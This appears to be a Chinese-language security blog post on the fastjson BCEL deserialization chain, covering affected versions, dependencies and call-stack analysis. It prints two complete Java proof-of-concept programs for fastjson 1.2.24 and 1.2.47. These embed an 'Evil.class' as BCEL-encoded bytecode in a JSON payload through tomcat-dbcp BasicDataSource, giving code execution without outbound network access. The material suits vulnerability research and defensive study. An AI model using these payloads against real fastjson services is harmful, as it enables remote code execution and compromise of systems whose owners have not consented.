BCEL 链
影响范围
网上可以找到的 poc 分下面两种, fastjson 的不同版本,对应的 payload 构造和 source 点也不同。
fastjson <= 1.2.24
fastjson <= 1.2.47
jdk < 8u251
依赖有两种:
tomcat 依赖,注意 payload 变化:<=tomcat7 source点是 org.apache.tomcat.dbcp.dbcp.BasicDataSource
、>=tomcat8 source点 是 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>dbcp</artifactId> <version>6.0.53</version> </dependency>
|
commons-dbcp 依赖
1 2 3 4 5
| <dependency> <groupId>commons-dbcp</groupId> <artifactId>commons-dbcp</artifactId> <version>1.4</version> </dependency>
|
Exp
bcel for fastjson <= 1.2.24
title:"poc.java"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package Poc.bcel;
import com.alibaba.fastjson.JSON; import com.sun.org.apache.bcel.internal.classfile.Utility; import java.nio.file.Files; import java.nio.file.Paths;
public class POC_1_2_24 { public static void main(String[] args) throws Exception{ String evilClass = "D:\\Security\\JavaSec\\EvilClass\\Evil.class"; String code = file2bcelcode(evilClass); String payload = "{\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\n" + " \"driverClassName\": \"$$BCEL$$"+ code +"\"\n" + "}\n";
JSON.parseObject(payload); } public static String file2bcelcode(String classFilePath) throws Exception { byte[] bytecode = Files.readAllBytes(Paths.get(classFilePath)); return Utility.encode(bytecode, true); } }
|
bcel for fastjson <= 1.2.24
title:"poc.java"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package Poc.bcel;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files; import java.nio.file.Paths;
public class POC_1_2_47 { public static void main(String[] args) throws Exception{ String evilClass = "D:\\Security\\JavaSec\\EvilClass\\Evil.class"; String code = file2bcelcode(evilClass); String payload = "{\n" + " \"xx\":\n" + " {\n" + " \"@type\" : \"java.lang.Class\",\n" + " \"val\" : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" + " },\n" + " \"x\" : {\n" + " \"name\": {\n" + " \"@type\" : \"java.lang.Class\",\n" + " \"val\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " {\n" + " \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" + " \"c\": {\n" + " \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\":\"$$BCEL$$"+code+"\"\n" + " }\n" + " } : \"xxx\"\n" + " }\n" + "}"; JSONObject jsonObject = JSON.parseObject(payload); jsonObject.toJSONString(); } public static String file2bcelcode(String classFilePath) throws Exception { byte[] bytecode = Files.readAllBytes(Paths.get(classFilePath)); return Utility.encode(bytecode, true); } }
|
漏洞分析
1.2.24
经典的 fastjson 调用 getter,source 点是 BasicDataSource#getConnection
,sink 点是 BasicDataSource#createConnectionFactory
。
bcel 可以不出网进行动态类加载的原因:在 com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
中,如果 class_name
以 $$BCEL$$
开头,则会读取 class_name
后面的字节码并调用 define_class
进行类的加载。

所以攻击者可以把字节码写进 payload 里,从而实现不出网的动态类加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| defineClass:642, ClassLoader (java.lang) loadClass:163, ClassLoader (com.sun.org.apache.bcel.internal.util) loadClass:357, ClassLoader (java.lang) forName0:-1, Class (java.lang) forName:348, Class (java.lang) createConnectionFactory:2156, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) createDataSource:2061, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) getConnection:1543, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) get:451, FieldInfo (com.alibaba.fastjson.util) getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer) getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer) toJSON:902, JSON (com.alibaba.fastjson) toJSON:824, JSON (com.alibaba.fastjson) parseObject:206, JSON (com.alibaba.fastjson) main:27, POC_1_2_24 (Poc.bcel)
|
1.2.47
这个版本踩坑,触发点不在 parseObject,而是得到反序列化后的对象, 再进行 jsonObject.toJSONString()
才会触发。
这个链子和上一个完全一样,不再赘述。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| defineClass:642, ClassLoader (java.lang) loadClass:163, ClassLoader (com.sun.org.apache.bcel.internal.util) loadClass:357, ClassLoader (java.lang) forName0:-1, Class (java.lang) forName:348, Class (java.lang) createConnectionFactory:2156, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) createDataSource:2061, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) getConnection:1543, BasicDataSource (org.apache.tomcat.dbcp.dbcp2) write:-1, ASMSerializer_1_BasicDataSource (com.alibaba.fastjson.serializer) write:270, MapSerializer (com.alibaba.fastjson.serializer) write:44, MapSerializer (com.alibaba.fastjson.serializer) write:281, JSONSerializer (com.alibaba.fastjson.serializer) write:236, MapSerializer (com.alibaba.fastjson.serializer) write:44, MapSerializer (com.alibaba.fastjson.serializer) write:270, MapSerializer (com.alibaba.fastjson.serializer) write:44, MapSerializer (com.alibaba.fastjson.serializer) write:281, JSONSerializer (com.alibaba.fastjson.serializer) toJSONString:863, JSON (com.alibaba.fastjson) main:46, POC_1_2_47 (Poc.bcel)
|
参考链接
bcel链 不出网利用 : https://www.freebuf.com/vuls/360993.html